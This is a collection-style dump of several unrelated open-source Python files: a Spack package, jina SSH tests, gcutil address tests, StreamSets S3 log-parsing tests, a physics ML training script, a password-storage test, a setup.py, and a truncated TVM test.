depends_on('py-pudb') depends_on('py-pylint@:1.999.999', when="^python@:2.999.999") depends_on('py-pylint', when="^python@3.4.0:") depends_on('py-pyserial') depends_on('py-pytest') depends_on('py-pytest-xdist') depends_on('py-ranger-fm') depends_on('py-sqlalchemy') depends_on('py-virtualenv') depends_on('py-xmlrunner') depends_on('py-yq') depends_on('rtags') depends_on('tar') depends_on('texinfo') # ECM (2020-05-14): removed 'the-silver-searcher' due to build fail on gcc@10.1.0 depends_on('tig') depends_on('time') depends_on('tmux') depends_on('units') depends_on('valgrind') depends_on('verilator') depends_on('vim +python +ruby +perl +cscope +huge +x') depends_on('visionary-xilinx') depends_on('wget') depends_on('yaml-cpp+shared') depends_on('zsh') def install(self, spec, prefix): mkdirp(prefix.etc) # store a copy of this package. filename = osp.basename(osp.dirname(__file__)) # gives name of parent folder install(__file__, join_path(prefix.etc, filename + '.py')) # we could create some filesystem view here?

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null

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null

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1

7ceab378038506dba92e4b8d3ecd8a07fc74f4a2

1,469

py

Python

tests/unit/peapods/runtimes/remote/ssh/test_ssh_remote.py

yk/jina

ab66e233e74b956390f266881ff5dc4e0110d3ff

[ "Apache-2.0" ]

1

2020-12-23T12:34:00.000Z

tests/unit/peapods/runtimes/remote/ssh/test_ssh_remote.py

yk/jina

ab66e233e74b956390f266881ff5dc4e0110d3ff

[ "Apache-2.0" ]

null

tests/unit/peapods/runtimes/remote/ssh/test_ssh_remote.py

yk/jina

ab66e233e74b956390f266881ff5dc4e0110d3ff

[ "Apache-2.0" ]

null

import pytest from jina.enums import RemoteAccessType from jina.flow import Flow from jina.parser import set_pea_parser, set_pod_parser from jina.peapods.pods import BasePod from jina.peapods.runtimes.remote.ssh import SSHRuntime from jina.proto import jina_pb2 @pytest.mark.skip('works locally, but until I findout how to mock ssh, this has to be skipped') def test_ssh_pea(): p = set_pea_parser().parse_args(['--host', 'pi@172.16.1.110', '--timeout', '5000']) with SSHRuntime(p, kind='pea') as pp: assert pp.status.envelope.status.code == jina_pb2.StatusProto.READY assert pp.status is None @pytest.mark.skip('works locally, but until I find out how to mock ssh, this has to be skipped') def test_ssh_pod(): p = set_pod_parser().parse_args(['--host', 'pi@172.16.1.110', '--timeout', '5000']) with SSHRuntime(p, kind='pod') as pp: assert pp.status.envelope.status.code == jina_pb2.StatusProto.READY assert pp.status is None @pytest.mark.skip('not implemented yet') def test_ssh_mutable_pod(): p = set_pod_parser().parse_args(['--host', 'pi@172.16.1.110', '--timeout', '5000']) p = BasePod(p) with SSHRuntime(p, kind='pod') as pp: assert pp.status.envelope.status.code == jina_pb2.StatusProto.READY assert pp.status is None @pytest.mark.skip('not implemented yet') def test_flow(): f = Flow().add().add(host='pi@172.16.1.110', remote_access=RemoteAccessType.SSH) with f: pass

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null

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1

0

null

0

1

7cf38c52d649f28843e5da3730409c34a52dc82f

8,026

py

Python

platform/gcutil/lib/google_compute_engine/gcutil_lib/address_cmds_test.py

IsaacHuang/google-cloud-sdk

52afa5d1a75dff08f4f5380c5cccc015bf796ca5

[ "Apache-2.0" ]

null

platform/gcutil/lib/google_compute_engine/gcutil_lib/address_cmds_test.py

IsaacHuang/google-cloud-sdk

52afa5d1a75dff08f4f5380c5cccc015bf796ca5

[ "Apache-2.0" ]

null

platform/gcutil/lib/google_compute_engine/gcutil_lib/address_cmds_test.py

IsaacHuang/google-cloud-sdk

52afa5d1a75dff08f4f5380c5cccc015bf796ca5

[ "Apache-2.0" ]

2

2020-07-25T05:03:06.000Z

2020-11-04T04:55:57.000Z

# Copyright 2012 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Unit tests for address collection commands.""" import path_initializer path_initializer.InitSysPath() import json import unittest import gflags as flags from gcutil_lib import address_cmds from gcutil_lib import gcutil_unittest from gcutil_lib import mock_api from gcutil_lib import mock_lists FLAGS = flags.FLAGS class AddressCmdsTest(gcutil_unittest.GcutilTestCase): def setUp(self): self.mock, self.api = mock_api.CreateApi(self.version) def testReserveAddressPromptsForRegion(self): expected_project = 'test_project' expected_address = 'test_address' expected_description = 'test address' expected_region = 'test-region' expected_source_address = '123.123.123.1' set_flags = { 'project': expected_project, 'description': expected_description, 'source_address': expected_source_address, } command = self._CreateAndInitializeCommand( address_cmds.ReserveAddress, 'reserveaddress', set_flags=set_flags) mock_lists.GetSampleRegionListCall( command, self.mock, num_responses=1, name=[expected_region]) call = self.mock.Respond('compute.addresses.insert', {}) command.Handle(expected_address) request = call.GetRequest() self.assertEqual('POST', request.method) self.assertEqual(expected_project, request.parameters['project']) self.assertEquals(expected_region, request.parameters['region']) body = json.loads(request.body) self.assertEqual(body['name'], expected_address) self.assertEqual(body['description'], expected_description) self.assertEquals(body['address'], expected_source_address) def testReserveAddressGeneratesCorrectRequest(self): expected_project = 'test_project' expected_address = 'test_address' expected_description = 'test address' submitted_region = 'test-region' expected_source_address = '123.123.123.1' set_flags = { 'project': expected_project, 'description': expected_description, 'region': submitted_region, 'source_address': expected_source_address, } command = self._CreateAndInitializeCommand( address_cmds.ReserveAddress, 'reserveaddress', set_flags=set_flags) call = self.mock.Respond('compute.addresses.insert', {}) command.Handle(expected_address) request = call.GetRequest() self.assertEqual('POST', request.method) self.assertEqual(expected_project, request.parameters['project']) self.assertEquals(submitted_region, request.parameters['region']) body = json.loads(request.body) self.assertEqual(body['name'], expected_address) self.assertEqual(body['description'], expected_description) self.assertEquals(body['address'], expected_source_address) def testGetAddressGeneratesCorrectRequest(self): expected_project = 'test_project' expected_address = 'test_address' submitted_region = 'test-region' set_flags = { 'project': expected_project, 'region': submitted_region, } command = self._CreateAndInitializeCommand( address_cmds.GetAddress, 'getaddress', set_flags=set_flags) call = self.mock.Respond('compute.addresses.get', {}) command.Handle(expected_address) request = call.GetRequest() self.assertEqual('GET', request.method) self.assertEqual(None, request.body) parameters = request.parameters self.assertEqual(parameters['project'], expected_project) self.assertEqual(parameters['region'], submitted_region) self.assertEqual(parameters['address'], expected_address) def testGetAddressPrintNonEmptyUsers(self): expected_project = 'test_project' submitted_region = 'test-region' set_flags = { 'project': expected_project, 'region': submitted_region, } command = self._CreateAndInitializeCommand( address_cmds.GetAddress, 'getaddress', set_flags=set_flags) data = command.GetDetailRow({'users': ['fr-1', 'fr-2']}) expected_data = { 'v1': [ ('users', ['fr-1', 'fr-2']) ], } self.assertEquals( gcutil_unittest.SelectTemplateForVersion( expected_data, command.api.version), data) def testGetAddressPrintEmptyUsers(self): expected_project = 'test_project' submitted_region = 'test-region' set_flags = { 'project': expected_project, 'region': submitted_region, } command = self._CreateAndInitializeCommand( address_cmds.GetAddress, 'getaddress', set_flags=set_flags) data = command.GetDetailRow({'users': []}) expected_data = { 'v1': [ ('users', []) ], } self.assertEquals( gcutil_unittest.SelectTemplateForVersion( expected_data, command.api.version), data) def testReleaseAddressGeneratesCorrectRequest(self): expected_project = 'test_project' expected_address = 'test_address' submitted_region = 'test-region' set_flags = { 'project': expected_project, 'region': submitted_region, } command = self._CreateAndInitializeCommand( address_cmds.ReleaseAddress, 'releaseaddress', set_flags=set_flags) call = self.mock.Respond('compute.addresses.delete', {}) command.Handle(expected_address) request = call.GetRequest() self.assertEqual('DELETE', request.method) self.assertEqual(None, request.body) parameters = request.parameters self.assertEqual(parameters['project'], expected_project) self.assertEqual(parameters['region'], submitted_region) self.assertEqual(parameters['address'], expected_address) def testReleaseAddressWithoutRegionFlag(self): expected_project = 'test_project' expected_region = 'test-region' expected_address = 'test_address' address = ('projects/%s/regions/%s/addresses/%s' % (expected_project, expected_region, expected_address)) set_flags = { 'project': 'incorrect_project', } command = self._CreateAndInitializeCommand( address_cmds.ReleaseAddress, 'releaseaddress', set_flags=set_flags) call = self.mock.Respond('compute.addresses.delete', {}) command.Handle(address) request = call.GetRequest() self.assertEqual('DELETE', request.method) self.assertEqual(None, request.body) parameters = request.parameters self.assertEqual(parameters['project'], expected_project) self.assertEqual(parameters['region'], expected_region) self.assertEqual(parameters['address'], expected_address) def testReleaseMultipleAddresses(self): expected_project = 'test_project' expected_addresses = [ 'test-addresses-%02d' % x for x in xrange(100)] set_flags = { 'project': expected_project, 'region': 'region-a', } command = self._CreateAndInitializeCommand( address_cmds.ReleaseAddress, 'releaseaddress', set_flags=set_flags) calls = [self.mock.Respond('compute.addresses.delete', {}) for x in xrange(len(expected_addresses))] _, exceptions = command.Handle(*expected_addresses) self.assertEqual(0, len(exceptions)) sorted_calls = sorted([call.GetRequest().parameters['address'] for call in calls]) self.assertEqual(expected_addresses, sorted_calls) if __name__ == '__main__': unittest.main(testLoader=gcutil_unittest.GcutilLoader())

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7cfa416e684eef42a41f05552ac51704b017a9e1

1,471

py

Python

arguments_setting.py

Projectoy/ml_framework

f3d37d632a1aec314eb186a3da6d174a5dc4beee

[ "Apache-2.0" ]

null

arguments_setting.py

Projectoy/ml_framework

f3d37d632a1aec314eb186a3da6d174a5dc4beee

[ "Apache-2.0" ]

null

arguments_setting.py

Projectoy/ml_framework

f3d37d632a1aec314eb186a3da6d174a5dc4beee

[ "Apache-2.0" ]

null

import argparse, os class ArgumentManager: def __init__(self, model_list): self.model_list = model_list self.args = self.get_input_arguments() self.validate_arguments() def get_input_arguments(self): parser = argparse.ArgumentParser(description='Process some integers.') parser.add_argument("--configuration", "-c", required=True, help="the path of a configuration file(json type)") parser.add_argument("--model", "-m", required=True, help="the model to process") parser.add_argument("--task", "-t", required=True, help="training/testing") return parser.parse_args() def validate_arguments(self): self.validate_configuration_path() self.validate_model() self.validate_task() def validate_task(self): task = self.args.task assert task == "training" or task == "testing", "task should be training or testing" def validate_model(self): model = self.args.model assert model in self.model_list, "model is not in the prepared model list" def validate_configuration_path(self): config_path = self.args.configuration assert os.path.exists(config_path), "configuration path is inappropriate (not found file)" def get_configuraiton_file_path(self): return self.args.configuration def get_model_type(self): return self.args.model def get_task_type(self): return self.args.task

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0

null

0

null

0

1

0

1

7cfaab0b77af0b6c7c138ff09a0a82244c391f57

12,133

py

Python

stage/configuration/test_amazon_s3_origin.py

Sentienz/datacollector-tests

ca27988351dc3366488098b5db6c85a8be2f7b85

[ "Apache-2.0" ]

null

stage/configuration/test_amazon_s3_origin.py

Sentienz/datacollector-tests

ca27988351dc3366488098b5db6c85a8be2f7b85

[ "Apache-2.0" ]

null

stage/configuration/test_amazon_s3_origin.py

Sentienz/datacollector-tests

ca27988351dc3366488098b5db6c85a8be2f7b85

[ "Apache-2.0" ]

1

2019-10-29T08:46:11.000Z

import logging import pytest from streamsets.testframework.markers import aws, sdc_min_version from streamsets.testframework.utils import get_random_string logger = logging.getLogger(__name__) S3_SANDBOX_PREFIX = 'sandbox' LOG_FIELD_MAPPING = [{'fieldPath': '/date', 'group': 1}, {'fieldPath': '/time', 'group': 2}, {'fieldPath': '/timehalf', 'group': 3}, {'fieldPath': '/info', 'group': 4}, {'fieldPath': '/file', 'group': 5}, {'fieldPath': '/message', 'group': 6}] REGULAR_EXPRESSION = r'(\S+) (\S+) (\S+) (\S+) (\S+) (.*)' # log to be written int the file on s3 data_format_content = { 'COMMON_LOG_FORMAT': '127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] ' '"GET /apache.gif HTTP/1.0" 200 232', 'LOG4J': '200 [main] DEBUG org.StreamSets.Log4j unknown - This is sample log message', 'APACHE_ERROR_LOG_FORMAT': '[Wed Oct 11 14:32:52 2000] [error] [client 127.0.0.1] client ' 'denied by server configuration:/export/home/live/ap/htdocs/test', 'COMBINED_LOG_FORMAT': '127.0.0.1 - frank [10/Oct/2000:13:55:36 -0700] "GET /apache.gif' ' HTTP/1.0" 200 2326 "http://www.example.com/strt.html" "Mozilla/4.08' ' [en] (Win98; I ;Nav)"', 'APACHE_CUSTOM_LOG_FORMAT': '10.185.248.71 - - [09/Jan/2015:9:12:06 +0000] "GET ' '/inventoryServic/inventory/purchaseItem?userId=20253471&itemId=23434300 ' 'HTTP/1.1" 500 17 ', 'CEF': '10.217.31.247 CEF:0|Citrix|NetScaler|NS10.0|APPFW|APPFW_STARTURL|6|src=10.217.253.78 ' 'spt=53743 method=GET request=http://vpx247.example.net/FFC/login.html msg=Disallow Illegal URL.', 'LEEF': 'LEEF: 2.0|Trend Micro|Deep Security Agent|<DSA version>|4000030|cat=Anti-Malware ' 'name=HEU_AEGIS_CRYPT desc=HEU_AEGIS_CRYPT sev=6 cn1=241 msg=Realtime', 'REGEX': '2019-04-30 08:23:53 AM [INFO] [streamsets.sdk.sdc_api] Pipeline Filewriterpipeline53'} # data to verify the output of amazon s3 origin. get_data_to_verify_output = { 'LOG4J': {'severity': 'DEBUG', 'relativetime': '200', 'thread': 'main', 'category': 'org.StreamSets.Log4j', 'ndc': 'unknown', 'message': 'This is sample log message'}, 'COMMON_LOG_FORMAT': {'request': '/apache.gif', 'auth': 'frank', 'ident': '-', 'response': '200', 'bytes': '232', 'clientip': '127.0.0.1', 'verb': 'GET', 'httpversion': '1.0', 'rawrequest': None, 'timestamp': '10/Oct/2000:13:55:36 -0700'}, 'APACHE_ERROR_LOG_FORMAT': {'message': 'client denied by server configuration:/export/home/live/ap/htdocs/' 'test', 'timestamp': 'Wed Oct 11 14:32:52 2000', 'loglevel': 'error', 'clientip': '127.0.0.1'}, 'COMBINED_LOG_FORMAT': {'request': '/apache.gif', 'agent': '"Mozilla/4.08 [en] (Win98; I ;Nav)"', 'auth': 'frank', 'ident': '-', 'verb': 'GET', 'referrer': '"http://www.example.com/strt.' 'html"', 'response': '200', 'bytes': '2326', 'clientip': '127.0.0.1', 'httpversion': '1.0', 'rawrequest': None, 'timestamp': '10/Oct/2000:13:55:36 -0700'}, 'APACHE_CUSTOM_LOG_FORMAT': {'remoteUser': '-', 'requestTime': '09/Jan/2015:9:12:06 +0000', 'request': 'GET ' '/inventoryServic/inventory/purchaseItem?userId=20253471&itemId=23434300 HTTP/1.1', 'logName': '-', 'remoteHost': '10.185.248.71', 'bytesSent': '17', 'status': '500'}, 'CEF': {'severity': '6', 'product': 'NetScaler', 'extensions': {'msg': 'Disallow Illegal URL.', 'request': 'http://vpx247.example.net/FFC/login.html', 'method': 'GET', 'src': '10.217.253.78', 'spt': '53743'}, 'signature': 'APPFW', 'vendor': 'Citrix', 'cefVersion': 0, 'name': 'APPFW_STARTURL', 'version': 'NS10.0'}, 'GROK': {'request': '/inventoryServic/inventory/purchaseItem?userId=20253471&itemId=23434300', 'auth': '-', 'ident': '-', 'response': '500', 'bytes': '17', 'clientip': '10.185.248.71', 'verb': 'GET', 'httpversion': '1.1', 'rawrequest': None, 'timestamp': '09/Jan/2015:9:12:06 +0000'}, 'LEEF': {'eventId': '4000030', 'product': 'Deep Security Agent', 'extensions': {'cat': 'Realtime'}, 'leefVersion': 2.0, 'vendor': 'Trend Micro', 'version': '<DSA version>'}, 'REGEX': {'/time': '08:23:53', '/date': '2019-04-30', '/timehalf': 'AM', '/info': '[INFO]', '/message': 'Pipeline Filewriterpipeline53', '/file': '[streamsets.sdk.sdc_api]'}} @pytest.mark.skip('Not yet implemented') def test_configuration_access_key_id(sdc_builder, sdc_executor): pass @pytest.mark.skip('Not yet implemented') def test_configuration_bucket(sdc_builder, sdc_executor): pass @pytest.mark.skip('Not yet implemented') def test_configuration_connection_timeout(sdc_builder, sdc_executor): pass @pytest.mark.parametrize('task', ['CREATE_NEW_OBJECT']) @pytest.mark.skip('Not yet implemented') def test_configuration_content(sdc_builder, sdc_executor, task): pass @pytest.mark.parametrize('task', ['COPY_OBJECT']) @pytest.mark.parametrize('delete_original_object', [False, True]) @pytest.mark.skip('Not yet implemented') def test_configuration_delete_original_object(sdc_builder, sdc_executor, task, delete_original_object): pass @pytest.mark.parametrize('region', ['OTHER']) @pytest.mark.skip('Not yet implemented') def test_configuration_endpoint(sdc_builder, sdc_executor, region): pass @pytest.mark.parametrize('task', ['COPY_OBJECT']) @pytest.mark.skip('Not yet implemented') def test_configuration_new_object_path(sdc_builder, sdc_executor, task): pass @pytest.mark.skip('Not yet implemented') def test_configuration_object(sdc_builder, sdc_executor): pass @pytest.mark.parametrize('on_record_error', ['DISCARD', 'STOP_PIPELINE', 'TO_ERROR']) @pytest.mark.skip('Not yet implemented') def test_configuration_on_record_error(sdc_builder, sdc_executor, on_record_error): pass @pytest.mark.skip('Not yet implemented') def test_configuration_preconditions(sdc_builder, sdc_executor): pass @pytest.mark.parametrize('use_proxy', [True]) @pytest.mark.skip('Not yet implemented') def test_configuration_proxy_host(sdc_builder, sdc_executor, use_proxy): pass @pytest.mark.parametrize('use_proxy', [True]) @pytest.mark.skip('Not yet implemented') def test_configuration_proxy_password(sdc_builder, sdc_executor, use_proxy): pass @pytest.mark.parametrize('use_proxy', [True]) @pytest.mark.skip('Not yet implemented') def test_configuration_proxy_port(sdc_builder, sdc_executor, use_proxy): pass @pytest.mark.parametrize('use_proxy', [True]) @pytest.mark.skip('Not yet implemented') def test_configuration_proxy_user(sdc_builder, sdc_executor, use_proxy): pass @pytest.mark.parametrize('region', ['AP_NORTHEAST_1', 'AP_NORTHEAST_2', 'AP_NORTHEAST_3', 'AP_SOUTHEAST_1', 'AP_SOUTHEAST_2', 'AP_SOUTH_1', 'CA_CENTRAL_1', 'CN_NORTHWEST_1', 'CN_NORTH_1', 'EU_CENTRAL_1', 'EU_WEST_1', 'EU_WEST_2', 'EU_WEST_3', 'OTHER', 'SA_EAST_1', 'US_EAST_1', 'US_EAST_2', 'US_GOV_WEST_1', 'US_WEST_1', 'US_WEST_2']) @pytest.mark.skip('Not yet implemented') def test_configuration_region(sdc_builder, sdc_executor, region): pass @pytest.mark.skip('Not yet implemented') def test_configuration_required_fields(sdc_builder, sdc_executor): pass @pytest.mark.skip('Not yet implemented') def test_configuration_retry_count(sdc_builder, sdc_executor): pass @pytest.mark.skip('Not yet implemented') def test_configuration_secret_access_key(sdc_builder, sdc_executor): pass @pytest.mark.skip('Not yet implemented') def test_configuration_socket_timeout(sdc_builder, sdc_executor): pass @pytest.mark.parametrize('task', ['CHANGE_EXISTING_OBJECT']) @pytest.mark.skip('Not yet implemented') def test_configuration_tags(sdc_builder, sdc_executor, task): pass @pytest.mark.parametrize('task', ['CHANGE_EXISTING_OBJECT', 'COPY_OBJECT', 'CREATE_NEW_OBJECT']) @pytest.mark.skip('Not yet implemented') def test_configuration_task(sdc_builder, sdc_executor, task): pass @pytest.mark.parametrize('use_proxy', [False, True]) @pytest.mark.skip('Not yet implemented') def test_configuration_use_proxy(sdc_builder, sdc_executor, use_proxy): pass @aws('s3') @pytest.mark.parametrize('data_format', ['LOG']) @pytest.mark.parametrize('log_format', ['COMMON_LOG_FORMAT', 'APACHE_ERROR_LOG_FORMAT', 'COMBINED_LOG_FORMAT', 'APACHE_CUSTOM_LOG_FORMAT', 'REGEX', 'GROK', 'LOG4J', 'CEF', 'LEEF']) def test_configurations_data_format_log(sdc_executor, sdc_builder, aws, data_format, log_format): """Check whether S3 origin can parse different log format or not. A log file is being created in s3 bucket mentioned below .S3 origin reads the log file and parse the same. Pipeline for the same- s3_origin >> trash s3_origin >= pipeline_finisher_executor """ if log_format == 'GROK': file_content = data_format_content['APACHE_CUSTOM_LOG_FORMAT'] else: file_content = data_format_content[log_format] client = aws.s3 s3_key = f'{S3_SANDBOX_PREFIX}/{get_random_string()}' attributes = {'bucket': aws.s3_bucket_name, 'prefix_pattern': f'{s3_key}/*', 'number_of_threads': 1, 'read_order': 'LEXICOGRAPHICAL', 'data_format': data_format, 'log_format': log_format, 'custom_log_format': '%h %l %u [%t] "%r" %>s %b', 'regular_expression': REGULAR_EXPRESSION, 'field_path_to_regex_group_mapping': LOG_FIELD_MAPPING } pipeline = get_aws_origin_to_trash_pipeline(sdc_builder, attributes, aws) s3_origin = pipeline.origin_stage try: client.put_object(Bucket=aws.s3_bucket_name, Key=f'{s3_key}/{get_random_string()}.log', Body=file_content) output_records = execute_pipeline_and_get_output(sdc_executor, s3_origin, pipeline) assert output_records[0].field == get_data_to_verify_output[log_format] finally: if sdc_executor.get_pipeline_status(pipeline).response.json().get('status') == 'RUNNING': sdc_executor.stop_pipeline(pipeline) # cleaning up s3 bucket delete_aws_objects(client, aws, s3_key) def get_aws_origin_to_trash_pipeline(sdc_builder, attributes, aws): # Build pipeline. builder = sdc_builder.get_pipeline_builder() builder.add_error_stage('Discard') s3_origin = builder.add_stage('Amazon S3', type='origin') s3_origin.set_attributes(**attributes) trash = builder.add_stage('Trash') pipeline_finisher_executor = builder.add_stage('Pipeline Finisher Executor') pipeline_finisher_executor.set_attributes(stage_record_preconditions=["${record:eventType() == 'no-more-data'}"]) s3_origin >> trash s3_origin >= pipeline_finisher_executor s3_origin_pipeline = builder.build().configure_for_environment(aws) s3_origin_pipeline.configuration['shouldRetry'] = False return s3_origin_pipeline def delete_aws_objects(client, aws, s3_key): # Clean up S3. delete_keys = {'Objects': [{'Key': k['Key']} for k in client.list_objects_v2(Bucket=aws.s3_bucket_name, Prefix=s3_key)['Contents']]} client.delete_objects(Bucket=aws.s3_bucket_name, Delete=delete_keys) def execute_pipeline_and_get_output(sdc_executor, s3_origin, pipeline): sdc_executor.add_pipeline(pipeline) snapshot = sdc_executor.capture_snapshot(pipeline, start_pipeline=True).snapshot output_records = snapshot[s3_origin].output return output_records

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null

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null

0

1

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1

7cfcc11fbbb1d31705e442bed5fe7d622b04a2bd

4,472

py

Python

benchmark/AMS/HIGGSTES/TP.py

victor-estrade/SystGradDescent

822e7094290301ec47a99433381a8d6406798aff

[ "MIT" ]

2

2019-03-20T09:05:02.000Z

2019-03-20T15:23:44.000Z

benchmark/AMS/HIGGSTES/TP.py

victor-estrade/SystGradDescent

822e7094290301ec47a99433381a8d6406798aff

[ "MIT" ]

null

benchmark/AMS/HIGGSTES/TP.py

victor-estrade/SystGradDescent

822e7094290301ec47a99433381a8d6406798aff

[ "MIT" ]

null

#!/usr/bin/env python # coding: utf-8 from __future__ import print_function from __future__ import division from __future__ import absolute_import from __future__ import unicode_literals # Command line : # python -m benchmark.VAR.GG.TP import os import logging from config import SEED from config import _ERROR from config import _TRUTH import numpy as np import pandas as pd from visual.misc import set_plot_config set_plot_config() from utils.log import set_logger from utils.log import flush from utils.log import print_line from utils.model import get_model from utils.model import get_optimizer from utils.model import train_or_load_neural_net from utils.evaluation import evaluate_summary_computer from utils.images import gather_images from visual.misc import plot_params from problem.higgs import HiggsConfigTesOnly as Config from problem.higgs import get_generators_torch from problem.higgs import GeneratorCPU from problem.higgs import GeneratorTorch from problem.higgs import HiggsNLL as NLLComputer from model.tangent_prop import TangentPropClassifier from archi.classic import L4 as ARCHI from ...my_argparser import TP_parse_args from collections import OrderedDict from .common import measurement DATA_NAME = 'HIGGSTES' BENCHMARK_NAME = 'VAR-'+DATA_NAME N_ITER = 30 class TrainGenerator: def __init__(self, data_generator, cuda=False): self.data_generator = data_generator if cuda: self.data_generator.cuda() else: self.data_generator.cpu() self.mu = self.tensor(Config.CALIBRATED.mu, requires_grad=True) self.tes = self.tensor(Config.CALIBRATED.tes, requires_grad=True) self.jes = self.tensor(Config.CALIBRATED.jes, requires_grad=True) self.les = self.tensor(Config.CALIBRATED.les, requires_grad=True) self.params = (self.tes, self.jes, self.tes, self.mu) self.nuisance_params = OrderedDict([ ('tes', self.tes), ('jes', self.jes), ('les', self.les), ]) def generate(self, n_samples=None): X, y, w = self.data_generator.diff_generate(*self.params, n_samples=n_samples) return X, y, w def reset(self): self.data_generator.reset() def tensor(self, data, requires_grad=False, dtype=None): return self.data_generator.tensor(data, requires_grad=requires_grad, dtype=dtype) def build_model(args, i_cv): args.net = ARCHI(n_in=29, n_out=2, n_unit=args.n_unit) args.optimizer = get_optimizer(args) model = get_model(args, TangentPropClassifier) model.set_info(DATA_NAME, BENCHMARK_NAME, i_cv) return model # ===================================================================== # MAIN # ===================================================================== def main(): # BASIC SETUP logger = set_logger() args = TP_parse_args(main_description="Training launcher for INFERNO on GG benchmark") logger.info(args) flush(logger) # INFO model = build_model(args, -1) os.makedirs(model.results_directory, exist_ok=True) # RUN logger.info(f'Running runs [{args.start_cv},{args.end_cv}[') results = [run(args, i_cv) for i_cv in range(args.start_cv, args.end_cv)] results = pd.concat(results, ignore_index=True) # EVALUATION results.to_csv(os.path.join(model.results_directory, 'threshold.csv')) print(results) print("DONE !") def run(args, i_cv): logger = logging.getLogger() print_line() logger.info('Running iter n°{}'.format(i_cv)) print_line() # LOAD/GENERATE DATA logger.info('Set up data generator') config = Config() seed = SEED + i_cv * 5 train_generator, valid_generator, test_generator = get_generators_torch(seed, cuda=args.cuda) train_generator = TrainGenerator(train_generator, cuda=args.cuda) valid_generator = GeneratorCPU(valid_generator) test_generator = GeneratorCPU(test_generator) # SET MODEL logger.info('Set up classifier') model = build_model(args, i_cv) os.makedirs(model.results_path, exist_ok=True) flush(logger) # TRAINING / LOADING train_or_load_neural_net(model, train_generator, retrain=args.retrain) # MEASUREMENT results = measurement(model, i_cv, config, valid_generator, test_generator) print(results) return results if __name__ == '__main__': main()

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null

0

null

0

1

0

1

6b00216e5015b612b495eca186f46004bdc92b04

1,824

py

Python

test/test_storage.py

jrabasco/PyPasser

3cc6ecdfa9b5fe22f5a88c221517fe09d2df9db6

[ "MIT" ]

null

test/test_storage.py

jrabasco/PyPasser

3cc6ecdfa9b5fe22f5a88c221517fe09d2df9db6

[ "MIT" ]

null

test/test_storage.py

jrabasco/PyPasser

3cc6ecdfa9b5fe22f5a88c221517fe09d2df9db6

[ "MIT" ]

null

#!/usr/bin/python3.4 __author__ = "Jeremy Rabasco" import sys import os sys.path.append("..") import unittest from modules import storage from modules.service import Service from modules.database import Database class TestStorage(unittest.TestCase): def setUp(self): self.service = Service() self.database = Database() open("test.service", "w+").close() open("test.db", "w+").close() def test_write_read_service(self): self.service.service_name = "Hello" self.service.username = "This" self.service.password = "Works" storage.write("test", self.service, "test.service") service2 = Service() storage.read("test", service2, "test.service") self.assertEqual(service2.service_name, self.service.service_name) self.assertEqual(service2.username, self.service.username) self.assertEqual(service2.password, self.service.password) def test_write_read_database(self): self.database.add_service(Service()) self.database.add_service(Service()) self.database.name = "Hey" storage.write("test", self.database, "test.db") database2 = Database() storage.read("test", database2, "test.db") self.assertEqual(database2.name, self.database.name) for i in range(len(self.database.services)): self.assertEqual(database2.services[i].service_name, self.database.services[i].service_name) self.assertEqual(database2.services[i].username, self.database.services[i].username) self.assertEqual(database2.services[i].password, self.database.services[i].password) def tearDown(self): os.remove(os.getcwd() + "/test.service") os.remove(os.getcwd() + "/test.db") if __name__ == "__main__": unittest.main()

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0

null

0

null

0

1

0

1

6b01058178b8f414abe46085a609e4696e9cb097

1,096

py

Python

setup.py

ripiuk/fant_sizer

dcc0908c79ed76af3f4189ebd2a75cecf7a89e34

[ "MIT" ]

null

setup.py

ripiuk/fant_sizer

dcc0908c79ed76af3f4189ebd2a75cecf7a89e34

[ "MIT" ]

null

setup.py

ripiuk/fant_sizer

dcc0908c79ed76af3f4189ebd2a75cecf7a89e34

[ "MIT" ]

null

from setuptools import setup, find_packages from os.path import join, dirname setup( name="fant_sizer", version="0.7", author="Rypiuk Oleksandr", author_email="ripiuk96@gmail.com", description="fant_sizer command-line file-information", url="https://github.com/ripiuk/fant_sizer", keywords="file command-line information size tool recursively", license="MIT", classifiers=[ 'Topic :: Utilities', 'Environment :: Console', 'Natural Language :: English', 'License :: OSI Approved :: MIT License', 'Intended Audience :: Developers', 'Intended Audience :: Information Technology', 'Development Status :: 5 - Production/Stable', 'Programming Language :: Python :: 3.6' ], packages=find_packages(), long_description=open(join(dirname(__file__), "README.rst")).read(), entry_points={ "console_scripts": ['fant_sizer = fant_sizer.fant_sizer:_main'], }, )

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0.297445

1,096

29

77

37.793103

0.796104

0

0.457117

0.024635

0

1

0

true

0

0.071429

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0.071429

0

null

0

null

0

1

0

1

6b04db30f6d56200725a9e9d3be9cbc67d645d65

2,074

py

Python

tests/python/unittest/test_tir_pass_inject_double_buffer.py

0xreza/tvm

f08d5d78ee000b2c113ac451f8d73817960eafd5

[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0" ]

null

tests/python/unittest/test_tir_pass_inject_double_buffer.py

0xreza/tvm

f08d5d78ee000b2c113ac451f8d73817960eafd5

[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0" ]

1

2020-07-29T00:21:19.000Z

tests/python/unittest/test_tir_pass_inject_double_buffer.py

0xreza/tvm

f08d5d78ee000b2c113ac451f8d73817960eafd5

[ "Zlib", "Unlicense", "Apache-2.0", "BSD-2-Clause", "MIT", "ECL-2.0" ]

1

2021-07-22T17:33:16.000Z

# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import tvm from tvm import te def test_double_buffer(): dtype = 'int64' n = 100 m = 4 tx = te.thread_axis("threadIdx.x") ib = tvm.tir.ir_builder.create() A = ib.pointer("float32", name="A") C = ib.pointer("float32", name="C") ib.scope_attr(tx, "thread_extent", 1) with ib.for_range(0, n) as i: B = 